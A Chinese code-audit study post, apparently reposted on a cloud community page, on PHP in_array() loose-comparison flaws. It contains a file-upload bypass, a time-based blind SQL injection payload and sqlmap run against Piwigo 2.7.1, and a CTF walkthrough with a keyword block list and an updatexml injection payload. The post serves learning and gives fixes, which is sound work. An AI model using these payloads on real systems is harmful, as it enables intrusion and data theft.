代碼審計學習01-in_array() 函數缺陷

來源:互聯網
上載者:User

標籤:結合   存在   contents   python2   border   lod   free   foreach   concat   

一、開始代碼審計之旅 01

從今天起,學習代碼審計了,這篇文章就叫代碼審計01吧,題目來自 PHP SECURITY CALENDAR 2017 的第一題,結合 紅日安全 寫的文章,開始吧。

二、先看這道題目1、題目名稱:Wish List

2、in_array() 函數的作用

in_array() 函數的作用是判斷第一參數是否存在第二個參數中,存在返回 true,不存在返回 false。需要注意的是,如果函數第三個參數為 true,則第一個參數必須還要和第二個參數同類型,函數才能返回 true。不寫第三個參數,在一些情況下函數會發生強制轉換,題目的漏洞就出在這裡。

3、題目漏洞解析
if (in_array($this->file[‘name‘], $this->whitelist)) {    move_uploaded_file($this->file[‘tmp_name‘], self::UPLOAD_DIRECTORY . $this->file[‘name‘]);}

in_array() 函數並只簡單判斷檔案名稱是否存在白名單中,並沒有將第三個參數設定為 true,攻擊者可以上傳一個 5backdoor.php 的檔案,其檔案名稱為 5backdoor,in_array() 函數將檔案名稱強制轉換為 5 ,符合 ranger(1,24) 的白名單條件,5backdoor.php 可以上傳,於是一個任意檔案上傳漏洞就產生了。

4、in_array() 的擴充知識

in_array 的一段代碼,可以明確看到非strict 模式與strict 模式下的區別:

<?php$array = array(    ‘egg‘ => true,    ‘cheese‘ => false,    ‘hair‘ => 765,    ‘goblins‘ => null,    ‘ogres‘ => ‘no ogres allowed in this array‘);// Loose checking -- return values are in comments// First three make sense, last four do notvar_dump(in_array(null, $array)); // truevar_dump(in_array(false, $array)); // truevar_dump(in_array(765, $array)); // truevar_dump(in_array(763, $array)); // truevar_dump(in_array(‘egg‘, $array)); // truevar_dump(in_array(‘hhh‘, $array)); // truevar_dump(in_array(array(), $array)); // true// Strict checkingvar_dump(in_array(null, $array, true)); // truevar_dump(in_array(false, $array, true)); // truevar_dump(in_array(765, $array, true)); // truevar_dump(in_array(763, $array, true)); // falsevar_dump(in_array(‘egg‘, $array, true)); // falsevar_dump(in_array(‘hhh‘, $array, true)); // falsevar_dump(in_array(array(), $array, true)); // false?>
三、結合一個案例

選取 piwigo2.7.1 內容管理系統的一個 SQL 注入漏洞來分析

1、漏洞原理分析

漏洞涉及檔案:include/functions_rate.inc.phpinclude/config_default.inc.php,以及根目錄下的picture.php

picture.php 關鍵代碼:

if (isset($_GET[‘action‘])){  switch ($_GET[‘action‘])/*****************中間省略*********************/       case ‘rate‘ :    {      include_once(PHPWG_ROOT_PATH.‘include/functions_rate.inc.php‘);      rate_picture($page[‘image_id‘], $_POST[‘rate‘]);      redirect($url_self);    }/*****************中間省略*********************/    }      

include/functions_rate.inc.php 關鍵代碼:

function rate_picture($image_id, $rate){  global $conf, $user;  if (!isset($rate)      or !$conf[‘rate‘]      or !in_array($rate, $conf[‘rate_items‘]))  {    return false;  }/*****************中間省略*********************/     if ($user_anonymous)  {    $query.= ‘ AND anonymous_id = \‘‘.$anonymous_id.‘\‘‘;  }  pwg_query($query);  $query = ‘INSERT  INTO ‘.RATE_TABLE.‘  (user_id,anonymous_id,element_id,rate,date)  VALUES  (‘    .$user[‘id‘].‘,‘    .‘\‘‘.$anonymous_id.‘\‘,‘    .$image_id.‘,‘    .$rate    .‘,NOW());‘;  pwg_query($query);  return update_rating_score($image_id);}    

include/config_default.inc.php 關鍵代碼:

$conf[‘rate_items‘] = array(0,1,2,3,4,5);

通過上述程式碼分析,當參數 action=rate時會調用 include/functions_rate.inc.phprate_picture($image_id, $rate) 函數,由於函數 in_array($rate, $conf[‘rate_items‘])) 沒有將第三個參數設定因為 true,檢查不嚴格,導致變數 $rate 變數可控,將 $rate 設定為 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那麼 SQL 陳述式就會變成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,‘192.168.2‘,1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

基於時間的 SQL 盲注就產生了。

2、漏洞證明

用 SQL 注入工具 sqlmap 證明漏洞,payload 如下:

python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch

漏洞驗證返回結果:

[20:45:34] [INFO] testing connection to the target URLsqlmap got a 302 redirect to ‘http://192.168.203.131:80/piwigo/picture.php?/1/category/1‘. Do you want to follow? [Y/n] Yredirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Ysqlmap resumed the following injection point(s) from stored session:---Parameter: rate (POST)    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: rate=1 AND SLEEP(5)---[20:45:37] [INFO] the back-end DBMS is MySQLweb server operating system: Windowsweb application technology: PHP 5.4.45, Apache 2.4.23back-end DBMS: MySQL >= 5.0.12[20:45:37] [INFO] fetching database names[20:45:37] [INFO] fetching number of databases[20:45:37] [INFO] resumed: 5[20:45:37] [INFO] resumed: information_schema[20:45:37] [INFO] resumed: mysq[20:45:37] [INFO] resumed: mysql[20:45:37] [INFO] resumed: performance_schema[20:45:37] [INFO] resumed: piwigo271available databases [5]:[*] information_schema[*] mysq[*] mysql[*] performance_schema[*] piwigo271
3、修複建議

方法1:將 in_array() 函數的第三個參數設定為 true;

方法2:使用 intval() 函數將變數將轉為數字;

方法3:使用Regex過濾,只限制為數字(官方修複是用這種方法)。

四、學習一道同類型的 CTF 題目
//index.php<?phpinclude ‘config.php‘;$conn = new mysqli($servername, $username, $password, $dbname);if ($conn->connect_error) {    die("串連失敗: ");}$sql = "SELECT COUNT(*) FROM users";$whitelist = array();$result = $conn->query($sql);if($result->num_rows > 0){    $row = $result->fetch_assoc();    $whitelist = range(1, $row[‘COUNT(*)‘]);}$id = stop_hack($_GET[‘id‘]);$sql = "SELECT * FROM users WHERE id=$id";if (!in_array($id, $whitelist)) {    die("id $id is not in whitelist.");}$result = $conn->query($sql);if($result->num_rows > 0){    $row = $result->fetch_assoc();    echo "<center><table border=‘1‘>";    foreach ($row as $key => $value) {        echo "<tr><td><center>$key</center></td><br>";        echo "<td><center>$value</center></td></tr><br>";    }    echo "</table></center>";}else{    die($conn->error);}?>
//config.php<?php  $servername = "localhost";$username = "fire";$password = "fire";$dbname = "day1";function stop_hack($value){    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";    $back_list = explode("|",$pattern);    foreach($back_list as $hack){        if(preg_match("/$hack/i", $value))            die("$hack detected!");    }    return $value;}?>
# CTF環境使用的sql語句create database day1;use day1;create table users (id int(6) unsigned auto_increment primary key,name varchar(20) not null,email varchar(30) not null,salary int(8) unsigned not null );INSERT INTO users VALUES(1,‘Lucia‘,‘[email protected]‘,3000);INSERT INTO users VALUES(2,‘Danny‘,‘[email protected]‘,4500);INSERT INTO users VALUES(3,‘Alina‘,‘[email protected]‘,2700);INSERT INTO users VALUES(4,‘Jameson‘,‘[email protected]‘,10000);INSERT INTO users VALUES(5,‘Allie‘,‘[email protected]‘,6000);create table flag(flag varchar(30) not null);INSERT INTO flag VALUES(‘HRCTF{1n0rrY_i3_Vu1n3rab13}‘);

stop_hack() 函數禁用了關鍵字和函數,看了這篇文章的解析,用 updatexml+make_set 這兩個函數就可以成功拿到 flag,payload如下:

http://192.168.203.131/day1/index.php?id=1 and (select updatexml(1,make_set(3,‘~‘,(select flag from flag)),1))
五、個人收穫
  1. 使用 in_array() 函數白名單過濾的時候,使用不當會出漏洞;
  2. 可以使用 updatexml() 或 extractvalue() 函數搭配 make_set() 等函數進行注入;
  3. 堅持學下去,一定有大進步。
六、參考文章
  1. [紅日安全]代碼審計Day1 - in_array函數缺陷

  2. piwigo SQL injection

  3. 免費開源相簿Piwigo<= v2.7.1 SQL注入漏洞分析

  4. [紅日安全]PHP-Audit-Labs題解之Day1-4

  5. updatexml injection without concat

  6. MySQL updatexml()、extractvalue() 報錯型SQL注入

代碼審計學習01-in_array() 函數缺陷

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.